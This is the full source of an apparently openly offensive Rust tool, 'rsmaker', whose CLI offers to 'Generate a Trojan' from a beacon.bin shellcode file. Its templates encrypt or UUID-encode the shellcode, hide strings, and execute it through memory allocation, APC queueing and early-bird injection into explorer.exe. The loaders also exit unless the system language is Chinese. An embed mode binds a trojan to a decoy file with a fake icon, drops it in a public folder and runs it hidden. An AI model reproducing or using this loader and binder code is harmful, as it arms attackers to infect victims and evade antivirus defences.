7 | #[folder = "temp"]
8 | struct Asset;
9 |
10 | pub fn make_rs(filename:String,trojan:String,icon:String)->(){
11 |
12 | let main = Asset::get("embed/main.rs").unwrap();
13 | let main_str = std::str::from_utf8(main.data.as_ref()).unwrap();
14 |
15 | let build = Asset::get("embed/build.rs").unwrap();
16 | let build_str = std::str::from_utf8(build.data.as_ref()).unwrap();
17 |
18 | let toml = Asset::get("embed/Cargo.toml").unwrap();
19 | let toml_str = std::str::from_utf8(toml.data.as_ref()).unwrap();
20 |
21 | let icon_rc = Asset::get("embed/icon.rc").unwrap();
22 | let icon_rc_str = std::str::from_utf8(icon_rc.data.as_ref()).unwrap();
23 |
24 |
25 |
26 | let fake:Vec<&str> = filename.split(".").collect();
27 |
28 | println!("wirtting files....");
29 | let _ = create_dir_all("loader/src");
30 | let _ = create_dir_all("loader/tep");
31 | //let main_str = &main_str.replace("XXXX",&format!("*.{}.exe",&fake[1]));
32 | //println!("please do not forget change the prefix of the file name as {}.exe",&fake[1]);
33 | let _ = write(format!("loader/src/main.rs"), main_str);
34 | let toml_str = &toml_str.replace("embed-rs", &fake[0]);
35 | let _ = write(format!("loader/Cargo.toml"), toml_str);
36 | let _ = write(format!("loader/build.rs"), build_str);
37 | let icon_rc_str = &icon_rc_str.replace("test", &icon);
38 | let _ = write(format!("loader/icon.rc"), icon_rc_str);
39 | copy_file(filename,trojan,icon);
40 |
41 |
42 | }
43 |
44 |
45 | pub fn run(file:String,trojan:String,icon:String)->std::io::Result<()>{
46 |
47 | make_rs(file,trojan,icon);
48 |
49 | complie();
50 | Ok(())
51 | }
52 |
53 | pub fn copy_file(filename:String,trojan_name:String,icon_name:String){
54 | println!("copying file....");
55 | let fakename:Vec<&str> = filename.split(".").collect();
56 |
57 | let file = read_file(filename.clone());
58 | let _ = write(format!("loader/tep/{}",filename), file);
59 |
60 | let trojan = read_file(trojan_name.clone());
61 | let _ = write(format!("loader/tep/{}.exe",fakename[0]), trojan);
62 |
63 | let icon = read_file(icon_name.clone());
64 | let _ = write(format!("loader/{}",icon_name), icon);
65 |
66 | }
--------------------------------------------------------------------------------
/src/embed/mod.rs:
--------------------------------------------------------------------------------
1 | pub mod embed;
--------------------------------------------------------------------------------
/src/lib.rs:
--------------------------------------------------------------------------------
1 | #![feature(array_chunks)]
2 | use std::fs::read;
3 | use std::fs::remove_dir_all;
4 | use std::process::Command;
5 | use uuid::Uuid;
6 |
7 | pub const CHARSET: &[u8] = b"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
8 | pub const RANDOM_AES_KEY: &[u8] = b"abcdefghijklmnopqrstuvwxyz";
9 | pub const PASSWORD_LEN: usize = 10;
10 | pub const AES_PASSWORD_LEN: usize = 16;
11 |
12 | pub fn xor_fn(shellcode: Vec, xor: u8) -> Vec {
13 | let mut xor_shellcode: Vec = vec![];
14 | for i in shellcode.iter() {
15 | xor_shellcode.push(i ^ xor)
16 | }
17 | xor_shellcode
18 | }
19 |
20 | pub fn complie() {
21 | let _ = Command::new("cmd")
22 | .arg("/c")
23 | .arg("cd loader && cargo build -Z build-std=std,panic_abort -Z build-std-features=panic_immediate_abort -Z unstable-options --out-dir ../ --target x86_64-pc-windows-msvc --release")
24 | .output()
25 | .expect("Loader make fail!");
26 |
27 | let _ = remove_dir_all("loader");
28 | }
29 |
30 | pub fn base64_encode(shellcode: Vec) -> String {
31 | base64::encode_config(shellcode, base64::STANDARD_NO_PAD)
32 | }
33 | pub fn base64_encode_str(shellcode: String) -> String {
34 | base64::encode_config(shellcode, base64::STANDARD_NO_PAD)
35 | }
36 |
37 | pub fn uuid_base64(shellcode: Vec) -> String {
38 | let mut real: String = String::from("");
39 | let mut slice = shellcode.clone();
40 | let front = slice.array_chunks_mut::<16>();
41 |
42 | let mut slice2 = shellcode.clone();
43 | let tail = slice2.array_chunks_mut::<16>().into_remainder();
44 |
45 | for i in front {
46 | //println!(r#""{}","#,Uuid::from_bytes_le(i.clone()));
47 | real = real + &Uuid::from_bytes_le(i.clone()).to_string() + ",";
48 | }
49 |
50 | let mut temp: [u8; 16] = [0; 16];
51 | let mut k = 0;
52 | for i in tail.iter() {
53 | temp[k] = i.clone();
54 | k = k + 1;
55 | }
56 |
57 | real = real + &Uuid::from_bytes_le(temp).to_string();
58 |
59 | base64_encode_str(real.clone())
60 | }
61 |
62 | pub fn read_file(filename: String) -> Vec {
63 | let shellcode = match read(filename) {
64 | Ok(res) => res,
65 | Err(err) => {
66 | println!("{}", err);
67 | let _ = remove_dir_all("loader");
68 | std::process::exit(1);
69 | }
70 | };
71 | shellcode
72 | }
73 |
--------------------------------------------------------------------------------
/src/main.rs:
--------------------------------------------------------------------------------
1 | mod aes_xor;
2 | mod base64_xor;
3 | mod bird2;
4 | mod earlybird;
5 | mod embed;
6 | mod uuid_base64;
7 | use clap::{App, Arg, SubCommand};
8 | use rsmaker::read_file;
9 |
10 | fn main() {
11 | let matches = App::new("rsmaker")
12 | .subcommand(
13 | SubCommand::with_name("generate")
14 | .about("Generate a Trojan")
15 | .arg(
16 | Arg::with_name("file")
17 | .short('f')
18 | .help("Choose a beacon.bin")
19 | .takes_value(true)
20 | .required(true),
21 | )
22 | .arg(
23 | Arg::with_name("model")
24 | .short('m')
25 | .help("Choose one from normal, aes, uuid")
26 | .takes_value(true)
27 | .required(true),
28 | ),
29 | )
30 | .subcommand(
31 | SubCommand::with_name("embed")
32 | .about("embed a Trojan and a normal file")
33 | .arg(
34 | Arg::with_name("file")
35 | .short('f')
36 | .help("Choose a normal file")
37 | .takes_value(true)
38 | .required(true),
39 | )
40 | .arg(
41 | Arg::with_name("trojan")
42 | .short('t')
43 | .help("Choose a trojan file")
44 | .takes_value(true)
45 | .required(true),
46 | )
47 | .arg(
48 | Arg::with_name("icon")
49 | .short('i')
50 | .help("Choose a icon file (xxx.ico)")
51 | .takes_value(true)
52 | .required(true),
53 | ),
54 | )
55 | .get_matches();
56 |
57 | if matches.subcommand_matches("generate") != None {
58 | let filename = matches
59 | .subcommand_matches("generate")
60 | .unwrap()
61 | .value_of("file")
62 | .unwrap();
63 | let shellcode = read_file(String::from(filename));
64 |
65 | match matches
66 | .subcommand_matches("generate")
67 | .unwrap()
68 | .value_of("model")
69 | {
70 | Some(model) => {
71 | if model == "normal" {
72 | base64_xor::base64xor::run(shellcode).unwrap();
73 | } else if model == "aes" {
74 | aes_xor::aesxor::run(shellcode).unwrap();
75 | } else if model == "uuid" {
76 | uuid_base64::uuidbase64::run(shellcode).unwrap();
77 | } else if model == "bird" {
78 | earlybird::earlybird::run(shellcode).unwrap();
79 | } else if model == "bird2" {
80 | bird2::bird2::run(shellcode).unwrap();
81 | }
82 | }
83 | None => {
84 | println!("please choice right model name(normal,aes,uuid)");
85 | }
86 | };
87 | } else {
88 | let file = matches
89 | .subcommand_matches("embed")
90 | .unwrap()
91 | .value_of("file")
92 | .unwrap();
93 | let trojan = matches
94 | .subcommand_matches("embed")
95 | .unwrap()
96 | .value_of("trojan")
97 | .unwrap();
98 | let icon = matches
99 | .subcommand_matches("embed")
100 | .unwrap()
101 | .value_of("icon")
102 | .unwrap();
103 |
104 | embed::embed::run(String::from(file), String::from(trojan), String::from(icon)).unwrap();
105 | }
106 | }
107 |
--------------------------------------------------------------------------------
/src/uuid_base64/mod.rs:
--------------------------------------------------------------------------------
1 | pub mod uuidbase64;
--------------------------------------------------------------------------------
/src/uuid_base64/uuidbase64.rs:
--------------------------------------------------------------------------------
1 | use rust_embed::RustEmbed;
2 | use std::fs::{write,create_dir_all};
3 | use whoami;
4 | use rsmaker::{complie,uuid_base64};
5 |
6 |
7 | #[derive(RustEmbed)]
8 | #[folder = "temp"]
9 | struct Asset;
10 |
11 |
12 |
13 |
14 |
15 |
16 | pub fn make_rs(base64_shellcode:String)->(){
17 | let head = Asset::get("uuid/head.rs").unwrap();
18 | let head_str = std::str::from_utf8(head.data.as_ref()).unwrap();
19 |
20 | let model = Asset::get("uuid/model.rs").unwrap();
21 | let model_str = std::str::from_utf8(model.data.as_ref()).unwrap();
22 |
23 | let toml = Asset::get("uuid/Cargo.toml").unwrap();
24 | let toml_str = std::str::from_utf8(toml.data.as_ref()).unwrap();
25 |
26 | let config = Asset::get("uuid/config.toml").unwrap();
27 | let config_str = std::str::from_utf8(config.data.as_ref()).unwrap();
28 |
29 | let real = format!("let mut real = \"{}\";\n",base64_shellcode);
30 | let real2 = format!("let mut real = base64_decode(real.to_string());\n");
31 | let uuidarr = format!("let uuidarr:Vec<&str> = real.split(\",\").collect();\n");
32 | let size = format!("let SIZE =uuidarr.len();\n");
33 |
34 | let mut new_string = String::from("");
35 |
36 | new_string.push_str(head_str);
37 | new_string.push_str("\n");
38 | new_string.push_str(&real);
39 | new_string.push_str(&real2);
40 | new_string.push_str(&uuidarr);
41 | new_string.push_str(&size);
42 | new_string.push_str(model_str);
43 |
44 | let _ = create_dir_all("loader/src");
45 | let _ = create_dir_all("loader/.cargo");
46 | let _ = write(format!("loader/src/main.rs"), new_string);
47 | let _ = write(format!("loader/Cargo.toml"), toml_str);
48 | let config_str = &config_str.replace("XXXXXXXX", &whoami::username());
49 | let _ = write(format!("loader/.cargo/config.toml"), config_str);
50 |
51 | }
52 |
53 |
54 |
55 |
56 | pub fn run(shellcode:Vec)->std::io::Result<()>{
57 | println!("current username is {}",whoami::username());
58 |
59 |
60 | let base64_shellcode = uuid_base64(shellcode);
61 | println!("Encrypting shellcode...");
62 | println!("Done...");
63 |
64 | make_rs(base64_shellcode);
65 |
66 | println!("Compiling please wait.....");
67 |
68 | complie();
69 |
70 | println!("Succeed!,the loader name is uuid.exe, enjoy :)");
71 | Ok(())
72 | }
--------------------------------------------------------------------------------
/temp/.DS_Store:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/raspberryhusky/rsmaker/f8a6e089b7c796ec2274b120102a1295e10a3077/temp/.DS_Store
--------------------------------------------------------------------------------
/temp/aes/Cargo.toml:
--------------------------------------------------------------------------------
1 | [package]
2 | name = "aesloader"
3 | version = "0.1.0"
4 | edition = "2021"
5 |
6 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
7 |
8 | [dependencies]
9 | windows = { version = "*", features = ["Win32_System_LibraryLoader","Win32_Foundation","Win32_Globalization","Win32_System_Diagnostics_ToolHelp"] }
10 | libaes = "0.6.1"
11 | base64 = "0.13.0"
12 | obfstr = "*"
13 |
14 | [profile.release]
15 | lto = true
16 | opt-level = "z" # 使用稍高一些的优化级别,最低是0,最高是3
17 | overflow-checks = false
18 | strip = "symbols"
19 | codegen-units = 1
20 | panic = 'abort'
21 |
22 | [target.x86_64-pc-windows-msvc]
23 | rustflags = ["-C", "target-feature=+crt-static"]
24 |
--------------------------------------------------------------------------------
/temp/aes/config.toml:
--------------------------------------------------------------------------------
1 | [build]
2 | rustflags = ["-C", "target-feature=+crt-static"]
--------------------------------------------------------------------------------
/temp/aes/head.rs:
--------------------------------------------------------------------------------
1 | #![windows_subsystem = "windows"]
2 |
3 | use windows::Win32::Foundation::{HINSTANCE, NTSTATUS};
4 | use windows::Win32::System::LibraryLoader::{FreeLibrary, LoadLibraryA, GetProcAddress,GetModuleHandleA};
5 | use windows::core::{PCSTR, Error};
6 | use std::ptr::null_mut;
7 | use std::os::raw::c_void;
8 | use libaes::Cipher;
9 | use obfstr::obfstr;
10 |
11 |
12 | type NtAllocateVirtualMemory = fn(*mut c_void,*mut *mut c_void,usize,*mut usize,u32,u32)->NTSTATUS;
13 | type NtWriteVirtualMemory = fn(*mut c_void,*mut c_void,*mut c_void,usize,*mut usize)->i32;
14 | type NtQueueApcThread = fn(*mut c_void,Option,*mut c_void,*mut c_void,*mut c_void)->NTSTATUS;
15 |
16 | fn main() {
17 | unsafe{
18 | let p = GetModuleHandleA(PCSTR(obfstr!("kernel32.dll\0").as_ptr())).unwrap() ;
19 |
20 | let gsdl = get_addr(p,obfstr!("GetSystemDefaultLangID\0").as_bytes());
21 |
22 | let gsdl:fn()->u16 = core::mem::transmute(gsdl);
23 | let systemlangid = gsdl();
24 | if systemlangid != 2052{
25 | std::thread::sleep(std::time::Duration::from_millis(40000));
26 | std::process::exit(0);
27 |
28 | }
29 | }
30 |
31 |
--------------------------------------------------------------------------------
/temp/aes/model.rs:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | let cipher = Cipher::new_128(&PASSWORD1);
5 | let shellcode = base64_decode(String::from(SHELLCODE));
6 | let decrypted = cipher.cbc_decrypt(PASSWORD2, &shellcode[..]);
7 | unsafe{
8 |
9 |
10 |
11 | let mut allocstart : *mut c_void = null_mut();
12 | let mut seize : usize = decrypted.len();
13 |
14 |
15 |
16 | let lib = load(obfstr!("ntdll.dll\0").as_bytes());
17 |
18 | let navm = get_addr(lib,obfstr!("NtAllocateVirtualMemory\0").as_bytes());
19 | let nwvm = get_addr(lib,obfstr!("NtWriteVirtualMemory\0").as_bytes());
20 | let nqat = get_addr(lib,obfstr!("NtQueueApcThread\0").as_bytes());
21 | let nta = get_addr(lib,obfstr!("NtTestAlert\0").as_bytes()) ;
22 |
23 | let navm: NtAllocateVirtualMemory = core::mem::transmute(navm);
24 | let nwvm: NtWriteVirtualMemory = core::mem::transmute(nwvm);
25 | let nqat:NtQueueApcThread = core::mem::transmute(nqat);
26 | let nta:fn() = core::mem::transmute(nta);
27 |
28 | navm(-1 as _,&mut allocstart,0,&mut seize, 0x00003000, 0x40);
29 | nwvm(-1 as _,allocstart,decrypted.as_ptr() as _,decrypted.len() as usize,null_mut());
30 | nqat(-2 as _,Some(std::mem::transmute(allocstart)) as _,allocstart,null_mut(),null_mut());
31 | nta();
32 |
33 | };
34 |
35 |
36 |
37 | }
38 |
39 |
40 |
41 |
42 |
43 | pub unsafe fn get_addr(hmoudule:HINSTANCE,function: &[u8])-> *mut std::ffi::c_void {
44 |
45 | let p = match GetProcAddress(hmoudule, PCSTR(function.as_ptr())){
46 | Some(address) => address,
47 | None =>{FreeLibrary(hmoudule);panic!("{}",Error::from_win32())} ,
48 | };
49 | p as _
50 | }
51 |
52 | pub unsafe fn load(library: &[u8]) ->HINSTANCE{
53 |
54 | let library = match LoadLibraryA(PCSTR(library.as_ptr())){
55 | Ok(address) => address,
56 | Err(err) => panic!("{}", err),
57 | };
58 |
59 | library
60 | }
61 |
62 |
63 |
64 | fn base64_decode(shellcode:String)->Vec{
65 | base64::decode_config(shellcode,base64::STANDARD_NO_PAD).unwrap()
66 | }
--------------------------------------------------------------------------------
/temp/base64xor/Cargo.toml:
--------------------------------------------------------------------------------
1 | [package]
2 | name = "rsloader"
3 | version = "0.1.0"
4 | edition = "2021"
5 |
6 |
7 | [dependencies.windows]
8 | version = "0.32.0"
9 | features = [
10 | "Win32_System_Memory",
11 | "Win32_System_Threading",
12 | "Win32_Foundation",
13 | "Win32_Security",
14 | "Win32_UI_WindowsAndMessaging",
15 | "Win32_System_Console",
16 | "Win32_Globalization",
17 | ]
18 | [dependencies]
19 | base64 = "0.13.0"
20 |
21 |
22 | [profile.release]
23 | lto = true
24 | opt-level = "z" # 使用稍高一些的优化级别,最低是0,最高是3
25 | overflow-checks = false
26 | strip = "symbols"
27 | codegen-units = 1
28 | panic = 'abort'
29 |
--------------------------------------------------------------------------------
/temp/base64xor/config.toml:
--------------------------------------------------------------------------------
1 | [build]
2 | rustflags = ["-C", "target-feature=+crt-static"]
--------------------------------------------------------------------------------
/temp/base64xor/head.rs:
--------------------------------------------------------------------------------
1 | #![windows_subsystem = "windows"]
2 | use windows::Win32::System::Memory::VirtualAlloc;
3 | use windows::Win32::System::Memory;
4 | use windows::Win32::System::Threading::{CreateThread,THREAD_CREATION_FLAGS,WaitForSingleObject};
5 | use windows::Win32::UI::WindowsAndMessaging::{ShowWindow,SHOW_WINDOW_CMD,SW_HIDE};
6 | use windows::Win32::System::Console::GetConsoleWindow;
7 | use windows::Win32::Globalization::GetSystemDefaultLangID;
8 | use std::{env,ptr,mem,time,thread};
--------------------------------------------------------------------------------
/temp/base64xor/model.rs:
--------------------------------------------------------------------------------
1 | const PAGE_EXECUTE_READWRITE: u32 = 0x40;
2 | const MEM_COMMIT: u32 = 0x1000;
3 | const MEM_RESERVE: u32 = 0x2000;
4 | fn main() {
5 |
6 | unsafe{
7 | let show_window_cmd = SHOW_WINDOW_CMD(0);
8 | ShowWindow(GetConsoleWindow(),show_window_cmd);
9 | let systemlangid = GetSystemDefaultLangID();
10 | if systemlangid != 2052{
11 | thread::sleep(time::Duration::from_millis(10000000));
12 | std::process::exit(1);
13 | }
14 | }
15 | let locationtype = Memory::VIRTUAL_ALLOCATION_TYPE(MEM_COMMIT | MEM_RESERVE);
16 | let flprotect = Memory::PAGE_PROTECTION_FLAGS(PAGE_EXECUTE_READWRITE);
17 |
18 | let shellcode = xor_fn(base64_decode(String::from(SHELLCODE)),XOR);
19 | let new_buf = unsafe {
20 | VirtualAlloc(
21 | std::ptr::null_mut(),
22 | shellcode.len(),
23 | locationtype,
24 | flprotect,
25 | )
26 | };
27 | if new_buf == std::ptr::null_mut() {
28 | return;
29 | }
30 | let new_buf_ptr: *mut u8 = new_buf as *mut u8 as _;
31 | unsafe{
32 | std::ptr::copy_nonoverlapping(shellcode.as_ptr(), new_buf_ptr, shellcode.len());
33 | let handle = CreateThread(ptr::null_mut(), 0, Some(mem::transmute(new_buf)), ptr::null_mut(), THREAD_CREATION_FLAGS(134217728), ptr::null_mut());
34 | if handle.is_invalid(){
35 | std::process::exit(1);
36 | }
37 | WaitForSingleObject(handle, u32::MAX);
38 | }
39 | }
40 |
41 | fn xor_fn(shellcode:Vec,xor:u8)->Vec{
42 | let mut xor_shellcode:Vec = vec![];
43 | for i in shellcode.iter(){
44 | xor_shellcode.push(i^xor)
45 | }
46 | xor_shellcode
47 | }
48 |
49 |
50 | fn base64_decode(shellcode:String)->Vec{
51 | base64::decode_config(shellcode,base64::STANDARD_NO_PAD).unwrap()
52 | }
--------------------------------------------------------------------------------
/temp/bird2/Cargo.toml:
--------------------------------------------------------------------------------
1 | [package]
2 | name = "bird2"
3 | version = "0.1.0"
4 | edition = "2021"
5 |
6 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
7 |
8 | [dependencies]
9 | windows = {version = "0.38.0",features = ["Win32_System_Memory","Win32_System_LibraryLoader","Win32_System_Threading","Win32_Foundation"]}
10 | libaes = "0.6.1"
11 | base64 = "0.13.0"
12 | obfstr = "0.3.0"
13 |
14 |
15 | [profile.release]
16 | lto = true
17 | opt-level = "z" # 使用稍高一些的优化级别,最低是0,最高是3
18 | overflow-checks = false
19 | strip = "symbols"
20 | codegen-units = 1
21 | panic = 'abort'
--------------------------------------------------------------------------------
/temp/bird2/config.toml:
--------------------------------------------------------------------------------
1 | [build]
2 | rustflags = ["-C", "target-feature=+crt-static"]
--------------------------------------------------------------------------------
/temp/bird2/head.rs:
--------------------------------------------------------------------------------
1 | #![windows_subsystem = "windows"]
2 | use std::{ptr::null};
3 | use libaes::Cipher;
4 | use windows::{Win32::{System::LibraryLoader::{GetProcAddress, GetModuleHandleW}, Foundation::{HANDLE, PAPCFUNC}}, core::{PCWSTR, PCSTR}};
5 | use windows::Win32::System::Memory::{VirtualAlloc,MEM_COMMIT,MEM_RESERVE,PAGE_EXECUTE_READWRITE};
6 | use windows::Win32::System::Threading::{GetCurrentThread};
7 | use obfstr::obfstr;
8 |
9 | type QueueUserAPC = fn(PAPCFUNC,HANDLE,usize)->u32;
10 | fn main() {
--------------------------------------------------------------------------------
/temp/bird2/model.rs:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | let cipher = Cipher::new_128(&PASSWORD1);
5 | let shellcode = base64_decode(String::from(SHELLCODE));
6 | let shellcode = cipher.cbc_decrypt(PASSWORD2, &shellcode[..]);
7 |
8 | unsafe{
9 | let dllname:Vec = obfstr!("ntdll.dll\0").encode_utf16().collect();
10 | let fnname = b"NtTestAlert\0";
11 | let p = GetProcAddress(GetModuleHandleW(PCWSTR(dllname.as_ptr() as _)).unwrap(), PCSTR(fnname.as_ptr())).unwrap();
12 | let addr = VirtualAlloc(null(),shellcode.len(),MEM_COMMIT | MEM_RESERVE,PAGE_EXECUTE_READWRITE);
13 | std::ptr::copy_nonoverlapping(shellcode.as_ptr() as _, addr, shellcode.len());
14 | let kernel32:Vec = obfstr!("Kernel32.dll\0").encode_utf16().collect();
15 | let queue_ueser_apc_name = b"QueueUserAPC\0";
16 | let queue_ueser_apc_fn = GetProcAddress(GetModuleHandleW(PCWSTR(kernel32.as_ptr() as _)).unwrap(), PCSTR(queue_ueser_apc_name.as_ptr())).unwrap();
17 |
18 | let queue_ueser_apc_fn:QueueUserAPC = std::mem::transmute(queue_ueser_apc_fn);
19 | queue_ueser_apc_fn(Some(std::mem::transmute(addr)),GetCurrentThread(),0);
20 | p();
21 | }
22 |
23 |
24 | }
25 |
26 | fn base64_decode(shellcode:String)->Vec{
27 | base64::decode_config(shellcode,base64::STANDARD_NO_PAD).unwrap()
28 | }
--------------------------------------------------------------------------------
/temp/earlybird/Cargo.toml:
--------------------------------------------------------------------------------
1 | [package]
2 | name = "early_bird"
3 | version = "0.1.0"
4 | edition = "2021"
5 |
6 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
7 |
8 | [dependencies]
9 | windows = {version = "0.38.0",features = ["Win32_Security","Win32_System_Diagnostics_Debug","Win32_System_Memory","Win32_System_LibraryLoader","Win32_System_Threading","Win32_UI_WindowsAndMessaging","Win32_Foundation","Win32_System_Diagnostics_ToolHelp"]}
10 | libaes = "0.6.1"
11 | base64 = "0.13.0"
12 | obfstr = "0.3.0"
13 |
14 |
15 | [profile.release]
16 | lto = true
17 | opt-level = "z" # 使用稍高一些的优化级别,最低是0,最高是3
18 | overflow-checks = false
19 | strip = "symbols"
20 | codegen-units = 1
21 | panic = 'abort'
--------------------------------------------------------------------------------
/temp/earlybird/config.toml:
--------------------------------------------------------------------------------
1 | [build]
2 | rustflags = ["-C", "target-feature=+crt-static"]
--------------------------------------------------------------------------------
/temp/earlybird/head.rs:
--------------------------------------------------------------------------------
1 | #![windows_subsystem = "windows"]
2 |
3 | use libaes::Cipher;
4 | use std::ptr::{null, null_mut};
5 | use windows::Win32::Foundation::{BOOL, CloseHandle, GetLastError};
6 | use windows::Win32::System::Diagnostics::Debug::WriteProcessMemory;
7 | use windows::Win32::System::Memory::{VirtualAllocEx, MEM_RESERVE, MEM_COMMIT, PAGE_EXECUTE_READWRITE};
8 | use windows::Win32::System::Threading::{CreateProcessW,CREATE_SUSPENDED,CREATE_NO_WINDOW, STARTUPINFOW, PROCESS_INFORMATION, QueueUserAPC, ResumeThread};
9 | use windows::Win32::Security::SECURITY_ATTRIBUTES;
10 | use std::mem::{zeroed, size_of};
11 | use windows::core::{PCWSTR, PWSTR};
12 | use obfstr::obfstr;
13 |
14 | fn main() {
15 |
--------------------------------------------------------------------------------
/temp/earlybird/model.rs:
--------------------------------------------------------------------------------
1 |
2 |
3 | let cipher = Cipher::new_128(&PASSWORD1);
4 | let shellcode = base64_decode(String::from(SHELLCODE));
5 | let shellcode = cipher.cbc_decrypt(PASSWORD2, &shellcode[..]);
6 | let path:Vec = obfstr!("C:\\Windows\\explorer.exe\0").encode_utf16().collect();
7 | unsafe{
8 | let temp = zeroed::();
9 | let mut info = zeroed::();
10 | info.cb = size_of::() as _;
11 | let mut info2 = zeroed::();
12 | if CreateProcessW(PCWSTR(path.as_ptr() as _),PWSTR(std::ptr::null_mut()),&temp,&temp,BOOL(1),CREATE_NO_WINDOW|CREATE_SUSPENDED,null(),PCWSTR(null()),&info as _,&mut info2).as_bool(){
13 | let addr = VirtualAllocEx(info2.hProcess, null(), shellcode.len(), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
14 |
15 | WriteProcessMemory(info2.hProcess, addr, shellcode.as_ptr() as _, shellcode.len(), null_mut());
16 |
17 | QueueUserAPC(Some(std::mem::transmute(addr)),info2.hThread,0);
18 |
19 | ResumeThread(info2.hThread);
20 |
21 | CloseHandle(info2.hThread);
22 | }else{
23 | println!("failed : {:?}",GetLastError());
24 | }
25 | }
26 |
27 | }
28 |
29 | fn base64_decode(shellcode:String)->Vec{
30 | base64::decode_config(shellcode,base64::STANDARD_NO_PAD).unwrap()
31 | }
32 |
33 |
--------------------------------------------------------------------------------
/temp/embed/.DS_Store:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/raspberryhusky/rsmaker/f8a6e089b7c796ec2274b120102a1295e10a3077/temp/embed/.DS_Store
--------------------------------------------------------------------------------
/temp/embed/Cargo.toml:
--------------------------------------------------------------------------------
1 | [package]
2 | name = "embed-rs"
3 | version = "0.1.0"
4 | edition = "2021"
5 |
6 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
7 |
8 | [dependencies]
9 | rust-embed="6.4.0"
10 |
11 | [build-dependencies]
12 | embed-resource = "*"
13 |
14 | [profile.release]
15 | lto = true
16 | opt-level = "z" # 使用稍高一些的优化级别,最低是0,最高是3
17 | overflow-checks = false
18 | strip = "symbols"
19 | codegen-units = 1
20 | panic = 'abort'
21 |
22 |
--------------------------------------------------------------------------------
/temp/embed/build.rs:
--------------------------------------------------------------------------------
1 | extern crate embed_resource;
2 | fn main() {
3 | embed_resource::compile("./icon.rc");
4 | }
--------------------------------------------------------------------------------
/temp/embed/config.toml:
--------------------------------------------------------------------------------
1 | [build]
2 | rustflags = ["-C", "target-feature=+crt-static"]
--------------------------------------------------------------------------------
/temp/embed/icon.rc:
--------------------------------------------------------------------------------
1 | name ICON "test"
--------------------------------------------------------------------------------
/temp/embed/main.rs:
--------------------------------------------------------------------------------
1 | #![windows_subsystem = "windows"]
2 | use rust_embed::RustEmbed;
3 | use std::fs::write;
4 | use std::os::windows::process::CommandExt;
5 | use std::process::Stdio;
6 |
7 | #[derive(RustEmbed)]
8 | #[folder = "tep"]
9 |
10 | struct Asset;
11 |
12 | fn main() {
13 | for i in Asset::iter(){
14 | let filename = String::from("");
15 |
16 | if i.as_ref().to_string().contains("exe"){
17 | openexe(i.as_ref().to_string());
18 | }else{
19 | open(i.clone().as_ref().to_string());
20 | let temp = i.as_ref().to_string().clone();
21 | let name:Vec<&str> = temp.split(".").collect();
22 | let _ = std::process::Command::new("cmd").creation_flags(0x08000000).arg("/c").arg(format!("del {}.exe",name[0])).spawn().unwrap();
23 | }
24 | }
25 |
26 |
27 | }
28 |
29 |
30 | fn open(filename:String){
31 |
32 | let file = Asset::get(format!("{}",filename).as_str()).unwrap();
33 |
34 |
35 |
36 | let _ = write(format!("{}",filename), file.data);
37 |
38 |
39 |
40 | let _ = std::process::Command::new("cmd").creation_flags(0x08000000).arg("/c").arg(&filename).stdout(Stdio::piped()).spawn().unwrap();
41 |
42 | }
43 |
44 |
45 | fn openexe(name:String){
46 | let file = Asset::get(format!("{}",name).as_str()).unwrap();
47 | let _ = write(format!("C:\\Users\\Public\\{}",name), file.data);
48 | let _ = std::process::Command::new("cmd").creation_flags(0x08000000).arg("/c").arg(format!("C:\\Users\\Public\\{}",name)).stdout(Stdio::piped()).spawn().unwrap();
49 | }
--------------------------------------------------------------------------------
/temp/uuid/Cargo.toml:
--------------------------------------------------------------------------------
1 | [package]
2 | name = "uuid"
3 | version = "0.1.0"
4 | edition = "2021"
5 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
6 |
7 | [dependencies]
8 | windows = { version = "*",features = ["Win32_System_Rpc","Win32_Globalization", "Win32_Foundation"]}
9 | winapi = {version = "0.3.9", features = ["heapapi","handleapi","winnls","winnt","rpcdce"]}
10 | base64 = "0.13.0"
11 | [profile.release]
12 | lto = true
13 | opt-level = "z" # 使用稍高一些的优化级别,最低是0,最高是3
14 | overflow-checks = false
15 | strip = "symbols"
16 | codegen-units = 1
17 | panic = 'abort'
--------------------------------------------------------------------------------
/temp/uuid/config.toml:
--------------------------------------------------------------------------------
1 | [build]
2 | rustflags = ["-C", "target-feature=+crt-static"]
--------------------------------------------------------------------------------
/temp/uuid/head.rs:
--------------------------------------------------------------------------------
1 | #![windows_subsystem = "windows"]
2 | use base64;
3 | use std::str;
4 | use std::process;
5 | use std::mem::transmute;
6 | use std::ffi::CString;
7 | use winapi::um::heapapi::{HeapCreate, HeapAlloc};
8 | use winapi::um::handleapi::CloseHandle;
9 | use winapi::um::winnls::{EnumSystemLocalesA, LOCALE_ENUMPROCA};
10 | use winapi::um::winnt::{HEAP_CREATE_ENABLE_EXECUTE};
11 | use winapi::shared::basetsd::DWORD_PTR;
12 | use winapi::shared::ntstatus::STATUS_SUCCESS;
13 | use windows::Win32::System::Rpc::{RPC_STATUS, UuidFromStringA};
14 | use windows::core::GUID;
15 |
16 | fn main() {
--------------------------------------------------------------------------------
/temp/uuid/model.rs:
--------------------------------------------------------------------------------
1 | unsafe {
2 | // Creating and Allocating Heap Memory
3 |
4 | let h_heap = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0, 0);
5 | let h_addr = HeapAlloc(h_heap, 0, 0x100000);
6 |
7 | let mut p_addr = h_addr as DWORD_PTR;
8 |
9 |
10 | // Planting Shellcode From UUID Array onto Allocated Heap Memory
11 | for i in 0..SIZE {
12 | let cstr = CString::new(uuidarr[i]).unwrap();
13 | let g_addr = cstr.as_ptr() as *mut u8;
14 | let status: RPC_STATUS = UuidFromStringA(g_addr, p_addr as *mut GUID);
15 | if status != windows::Win32::System::Rpc::RPC_STATUS(0) {
16 | if status == windows::Win32::System::Rpc::RPC_STATUS(1705) {
17 | process::exit(0x0001);
18 | }
19 | }
20 | p_addr += 16;
21 | }
22 |
23 | // Calling the Callback Function
